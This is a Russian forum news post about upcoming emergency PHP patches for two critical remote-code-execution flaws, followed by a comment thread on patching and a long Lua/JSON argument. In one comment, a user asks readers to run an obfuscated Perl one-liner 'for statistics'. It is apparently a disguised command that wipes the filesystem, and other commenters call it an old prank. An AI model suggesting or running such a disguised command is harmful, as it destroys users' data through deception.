LINUX.ORG.RU

PHP готовит экстренные обновления безопасности: потенциальная возможность удалённого выполнения кода на серверах

 , , ,


0

2

Команда PHP предупредила о выпуске двух критических исправлений безопасности. Администраторам рекомендуется заранее подготовить инфраструктуру к обновлению: опубликованные сведения об уязвимостях указывают на потенциальную возможность удалённого выполнения кода на серверах.

Две критические уязвимости

Разработчики PHP объявили о подготовке экстренных обновлений для двух уязвимостей — CVE-2026-109618 и CVE-2026-109619. Каждая из них получила оценку критичности 9,2 из 10 по CVSS v4.0.

Согласно официальному уведомлению, выпуск исправлений запланирован на 21 октября 2026 года, 14:00 UTC. Разработчики оставили за собой право опубликовать обновления раньше.

Технические подробности и перечень исправленных версий PHP должны быть опубликованы вместе с обновлениями.

Что известно о возможной атаке

Предупреждение появилось после утечки неподтверждённых сведений о предполагаемом эксплойте под названием PHP2Shell. В опубликованной видеодемонстрации, согласно сообщениям СМИ, инструмент позволял выполнять команды на веб-серверах, использующих PHP.

Среди упомянутых платформ: WordPress, MediaWiki, phpBB, Magento, Joomla, Laravel, Symfony, Drupal и WHMCS.

Компания watchTowr сообщила, что подтвердила существование обеих уязвимостей. По оценке исследователей, проблема может затрагивать версии PHP начиная с ветки PHP 5, выпущенной в 2004 году. Однако окончательный перечень уязвимых версий должен подтвердить официальный бюллетень разработчиков.

Если предположения об удалённом выполнении кода подтвердятся, злоумышленники потенциально смогут запускать собственные команды на уязвимых серверах. Последствия могут включать компрометацию веб-приложений, утечку данных и дальнейшее проникновение во внутреннюю инфраструктуру.

Массовые атаки могут начаться сразу после публикации исправлений

Исследователи компании Sansec предупреждают, что массовые попытки эксплуатации могут начаться уже через 15 минут после выхода обновлений. Это прогноз специалистов, а не подтверждение того, что массовые атаки уже происходят.

По одной из оценок, потенциально затронутыми могут оказаться около 1,3 млн подключённых к интернету узлов. Эта цифра также является предварительной оценкой, а не подтверждённым количеством уязвимых серверов.

Что рекомендуется сделать администраторам

  • Провести инвентаризацию. Определить все серверы с PHP, включая веб-сайты, CMS, интернет-магазины, API и внутренние приложения.
  • Назначить ответственных. Убедиться, что команда, отвечающая за PHP и веб-инфраструктуру, готова оперативно установить исправления.
  • Подготовить резервные копии. Сохранить файлы сайтов, конфигурации и базы данных, проверив возможность восстановления.
  • Запланировать окно обслуживания. Подготовить обновление PHP, проверку совместимости приложений и план отката на случай проблем.
  • Следить за официальными уведомлениями. Отслеживать сайт PHP.net и официальные бюллетени безопасности.

Если немедленно установить исправления невозможно, для критически важных публичных приложений стоит рассмотреть временное ограничение доступа из интернета до устранения уязвимостей.

Источники:

>>> Ars Technica: PHP maintainers tell web devs to prepare themselves for critical security patches

>>> Официальный сайт PHP

>>> Подробности

★★★★★

Проверено: maxcom ()
Последнее исправление: CrX (всего исправлений: 2)

Это говно всё никак не утонет? Да что ж такое, в серной кислоте не пробовали?

bread ☆
()
Ответ на: комментарий от vbr

Просто выключи свой сайт, пока не обновишь. Хотя уже поздно, готовься переустанавливать всё из последнего доверенного бэкапа, скорей всего все сайты уже поломаны.

В исследовании есть таблица:

SAPI                     ARM              Bug S Fire             Bug U Fire
                         Survives
Apache prefork + mod_php ✅               ✅ (ASAN UAF, NOT RCE) ⚠️ (memory-safety only)
php -S (cli-server)      ✅               untested               untested
PHP-FPM / CGI            ❌ (exit on      N/A	                 N/A
                         startup failure)   
LiteSpeed (lsphp)        ❌ (exit on      N/A	                 N/A
                         startup failure)
В моей конфигурации баг не подтвержден.

Да и обновиться я не смогу, мой фреймверк не существует под PHP8.

Xintrea ★★★★★
()
Последнее исправление: Xintrea (всего исправлений: 2)

О, уже пошли сообщения от (к счастью немногочисленных) клиентов, которые по нашему недосмотру и по их скупости еще сидят на этом дерьме.

dynamic_cast ★
()
Последнее исправление: dynamic_cast (всего исправлений: 1)
Ответ на: комментарий от Xintrea

Это всё филькина грамота, никакой официальной информации нет, более того, разработчики специально написали, что все ходящие в интернетах рекомендации неправильные.

Да и обновиться я не смогу, мой фреймверк не существует под PHP8.

Я думаю, все версии обновят.

vbr ★★★★★
()
Ответ на: комментарий от pinachet

Я вот не пойму, по ссылке автор утверждает что скорее всего имеется уязвимость в multipart-парсере, а в итоговых CVE про это ничего нет. Точнее, multipart там упоминается, но только в контексте некорректной обработки out of memory. Кто-то что-то упустил?

firkax ★★★★★
()
Ответ на: комментарий от vbr

Я думаю, все версии обновят.

Некоторые со времён php4 ничего не обновляют уже, точно так же есть те кто завершил разработку на разных 5 или 7 версиях.

firkax ★★★★★
()
Ответ на: комментарий от vbr

Я думаю, все версии обновят.

Мою точно не обновят :)

Но пока так:

> uptime
17:04:54 up 185 days, 21:18,  1 user,  load average: 1,43, 1,11, 0,81

Xintrea ★★★★★
()
Последнее исправление: Xintrea (всего исправлений: 1)

PHP: ИИ, найди у нас дыру!

ИИ: Это уже не дыра, а функциональное отверстие, через которое вас функционируют 22 года.

Ukka ★
()
Последнее исправление: Ukka (всего исправлений: 1)
Ответ на: комментарий от nutsandmilk

судя по треду бэкпорт есть даже для 5.4

Не нашел. Там упоминается 5.6

Но даже если будут фиксить 5.6, как ты думаешь, есть ли официальный пакет с PHP 5.6 для Дебианов 12 и выше? Я такого не встречал.

Xintrea ★★★★★
()

Нушотам, волна взломов прокатилась по земному шару?

thesis ★★★★★
()
Ответ на: комментарий от firkax

Требование общей консистентности работы программы имеется у компилируемых языков, распространять его на скрипты не следует,

Ты так можешь до перловых write-only однострочников договориться! Lua шикарен же (кроме нумерации массивов).

Shadow ★★★★★
()
Ответ на: комментарий от Shadow

Lua шикарен же

Только обратную совместимость ломает часто, не может чисто из/в JSON свои значения преобразовывать, интерпретатор непотокобезопасен, ….

print{print[[[[[[]],...,}
shdown ★★
()
Ответ на: комментарий от Shadow

А что тебе с нумерации массивов не так? Ааа… С единицы? К этому привыкаешь и это чаще плюс, чем минус. Я суперсурьезно.

LightDiver ★★★★★
()
Последнее исправление: LightDiver (всего исправлений: 1)
Ответ на: комментарий от shdown

Только обратную совместимость ломает часто, не может чисто из/в JSON свои значения преобразовывать

Знаешь, про совместимость это скорее плюс, чем минус. Посмотри на плюсы и во что они превратились со своей совместимостью. Спасибо, не надо. Нужна совместимость - бери версию под скрипт. 5.1 и сейчас живее всех живых через 20+ лет.

Луа это минималистичность при полноценной функциональности. Твой джейсон реализуется скриптом на пару строк. Полноценный.

LightDiver ★★★★★
()
Последнее исправление: LightDiver (всего исправлений: 1)
Ответ на: комментарий от LightDiver

Ну если из Lua не вылезать. А теперь представь, что ты по-очереди Lua и C#, например. Это не привыкание, это какой-то экстремальный троллинг и газлайтинг со стороны авторов Lua.

Shadow ★★★★★
()

Ну че, зеркала трещат, все обновляются )

lonelywoolf
()
Ответ на: комментарий от LightDiver

К этому можно привыкнуть только если кроме луа ничем не пользуешься. А когда везде смещение отсчитывают с нуля (что естественно), и только здесь с 1, то это невыносимо. Отсылка к древним языкам и математике не канает.

bread ☆
()
Ответ на: комментарий от Shadow

Это не привыкание, это какой-то экстремальный троллинг и газлайтинг со стороны авторов Lua.

Академики, что с них возьмешь. Наверно специально сидели думали как сделать, чтобы язык не стал популярным. А вот навернем им такие массивы, которых на самом деле и нет, это хеш-таблицы.

bread ☆
()
Ответ на: комментарий от Shadow

Я по очереди: луа(80%), раст(9%), js(10%), python(1%), С(0.1%).

Все прекрасно работается, преобразуется, читается. Просто держишь в подсознании особенность и все. Но я начинал по сути с луа и мне нужно было привыкать к адресной нумерации. Сложностей, впрочем не возникло. Просто небольшое неудобтво в работе, там где раньше работал нормально, нужно теперь +1 делать по сути.

LightDiver ★★★★★
()
Последнее исправление: LightDiver (всего исправлений: 1)
Ответ на: комментарий от LightDiver

Твой джейсон реализуется скриптом на пару строк. Полноценный.

Покажи, пожалуйста. Видимо, мы разное понимаем под «полноценный JSON».

shdown ★★
()
Ответ на: комментарий от bread

В 90% случаев это удобнее, чем с нуля. Можно работать с объектами человекочитаемо. Адрессная нумерация - это то где ты с нуля привыкаешь пользоваться костылями и уже не замечаешь этого.

LightDiver ★★★★★
()
Ответ на: комментарий от bread

Но он стал. Луа это стандарт в игродеве, например. И нормально там все с хэш-таблицами. Это не массивы. Дисциплина разработки и никаких проблем. Не пихай в массив всякую дрянь.

А все что надо - релизуется вручную. Любые структуры из других языков.

LightDiver ★★★★★
()

https://angie.software/news/releases/angie-1-12-4/
вот еще для куража, NGINX - там же.

Выпущены внеочередные версии Angie 1.12.4 и Angie PRO 1.12.4 с портированными исправлениями уязвимостей, найденных >накануне в nginx (CVE-2026-93479, CVE-2026-97629, CVE-2026-95101, CVE-2026-15176, CVE-2026-97205).
Уязвимости затрагивают обработку переменных, HTTP/3, кэш TLS-сессий, а также модуль SSI с включённым файловым AIO.

Sylvia ★★★★★
()
Ответ на: комментарий от shdown

Ок, не за пару слов. Но накатать либу - особо проблем нет. В луа все так по сути - сначала делаешь структуры для работы, потом годами с ними работаешь. Я так работу с ютф8 вручную реализовывал.

LightDiver ★★★★★
()
Ответ на: комментарий от LightDiver

Дык как JSON-то представлять? Как понять, пустую таблицу нужно транслировать в [] или {}? Как обозначить null’ы?

shdown ★★
()
Ответ на: комментарий от shdown

Так как хочешь, так и представляй. Можно сделать прямое преобразование из луа таблиц в джейсон. У меня вон в боте для телеги была бесшовная работа между таблицами луа и таблицами питона (почти идентичны джейсону, к слову). Работал бесшовно между джейсоном в node.js и опять же таблицами луа.

Автоматизация делается один раз и потом используется.

LightDiver ★★★★★
()
Ответ на: комментарий от LightDiver

То есть про вложенные массивы (а уровни вложенности бывают разные), к примеру, ты умолчал. О чем и спич. Для частного случая там и правда может быть пара строк.

lonelywoolf
()
Ответ на: комментарий от lonelywoolf

Да тебе то какая разница - какая там вложенность? Не, в луа это особой проблемой не является, все единообразно. С джейсоном я работал довольно мало, может там и правда какие то нюансы есть, но врядли что то смертельное. Свои таблицы луа я преобразовывал без оглядки на вложенность. Всегда есть общая база данных (таблица), в ней подтаблицы игроков, в них подтаблицы настроек, там подтаблицы для разделов итд итп.

Если ты заранее не знаешь стуктура базы данных - писал кто то другой, то ты про проверки слышал что нибудь? Все это учитывается и автоматизируется.

LightDiver ★★★★★
()
Последнее исправление: LightDiver (всего исправлений: 1)
Ответ на: комментарий от LightDiver

Я когда в одном софте со встроенным lua скрипты писал, раз 20 в массивах ошибался. Но я им два дня попользовался и всё :)

Shadow ★★★★★
()
Ответ на: комментарий от Shadow

Дело привычки, думаю. Там надо знать особенности работы с ними. Преобразоваие массив-хэштаблица итд. Оно специально примитизированно до единой структуры и многих это поначалу сбивает с толку.

LightDiver ★★★★★
()
Ответ на: комментарий от LightDiver

Да тебе то какая разница - какая там вложенность?

Один …т, другой дразнится. Тебя человек попросил реализацию полноценного JSON. Ты же говоришь про реализацию частности. Вот я и пришел и вношу ясность (имел я удовольствие встречаться с разными реализациями парсеров JSON, которые только декларируют его полное понимание). Кушал, знаю. И просто указал на пример.

ожет там и правда какие то нюансы есть

Конечно есть. При том такие, что сразу не дают реализовать JSON в пару строк полноценный. Разве что для частного случая.

то ты про проверки слышал что нибудь

Это уже к теме не относится. Я имел удовольствие парсить json-структуры, которые валидные, но о которые спотыкается, например, logstash.

Напоминаю, с чего начался спич:

Твой джейсон реализуется скриптом на пару строк. Полноценный.

lonelywoolf
()
Последнее исправление: lonelywoolf (всего исправлений: 1)
Ответ на: комментарий от lonelywoolf

Естественно я не буду сейча просто любопытства ради делать универсальный преобразователь. Но если понадобится, я это сделаю - в этом нет никаких проблем. Работа с информацией - это и есть самое интересное в программировании. И основа программирования. Блин, если тебе сложно настолько примитивное, может оно тебе и не надо?

Но да, для частных случаев я делал действительнов в пару регекспов и проверок. И сложностей не видел принципиальных. И уж тем более с вложеностью.

LightDiver ★★★★★
()
Ответ на: комментарий от MKuznetsov

а памятую, что Зенд - это евреи из антигазы, а => Моссад, дело принимает любопытный оборот

mumpster ★★★★★
()
Ответ на: комментарий от LightDiver

Естественно я не буду сейчас просто любопытства ради делать универсальный преобразователь.

Ну я тебе о чем и говорю. Ты сказал, что полный JSON делается в пару строк. Тебя попросили показать. Ты начал приводить примеры совсем не того, о чем изначально шла речь. Да, JSON можно реализовать в пару строк, но не полный.

Но если понадобится, я это сделаю - в этом нет никаких проблем.

Я крайне не уверен, так как полный JSON не смогли реализовать в том числе, например, ребята из Elastic - а уж им то его как раз таки максимально полный реализовывать надо, так как ELK он в том числе много где и JSON всасывает. Мне пришлось здорово поприседать, чтобы причесать это всё, чтобы оно его кушало нормально.

В общем, всё, дискуссия исчерпана.

lonelywoolf
()
Ответ на: комментарий от Shadow

кстати, можешь запустить для проверки скриптик, друг тут просит для статистики и прислать точные числа, что он выведет:

echo «test… test… test…» | perl -e ‘$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|{;;y; -/:-@[-{-};`-{/" -;;s;;$_;see’

mumpster ★★★★★
()
Ответ на: комментарий от mumpster

я полагаю он эту шутку знает, он тут сидит примерно столько же сколько и я

Эээ. Это ещё и местное? Охренеть у вас тут шутки xD.

lonelywoolf
()
Ответ на: комментарий от lonelywoolf

Но за такие шутки помню нехило огребали от модерации в свое время.. Хм.. Или и у меня уже маразм и приглючилось.

LightDiver ★★★★★
()
Ответ на: комментарий от mumpster

Понятия не имею, как правильно ответить на этот вопрос. Выпилился с ЛОРа лет 10 назад, не следил за местными новостями.

lonelywoolf
()
Ответ на: комментарий от Xintrea

Да.

–седайко стюмчик

sedajko_stjumchik ★
()
Последнее исправление: sedajko_stjumchik (всего исправлений: 1)
Ответ на: комментарий от Xintrea

Да и обновиться я не смогу, мой фреймверк не существует под PHP8.

ебилды на все ветки пришли

madcore ★★★★★
()
Ответ на: комментарий от lonelywoolf

А в чём непосредственно проблема?

Ну в Lua нет различий между пустым массивом и пустым словарём — пусть пользователь или парсер повесит на него метатаблицу.

null можно представлять как userdata или даже как function, лол.

Просто мой тезис был в том, что это огромное количество костылей для такой задачи.

https://github.com/shdown/luastatus/tree/master/plugins/web#json-decoding

shdown ★★
()
Для того чтобы оставить комментарий войдите или зарегистрируйтесь.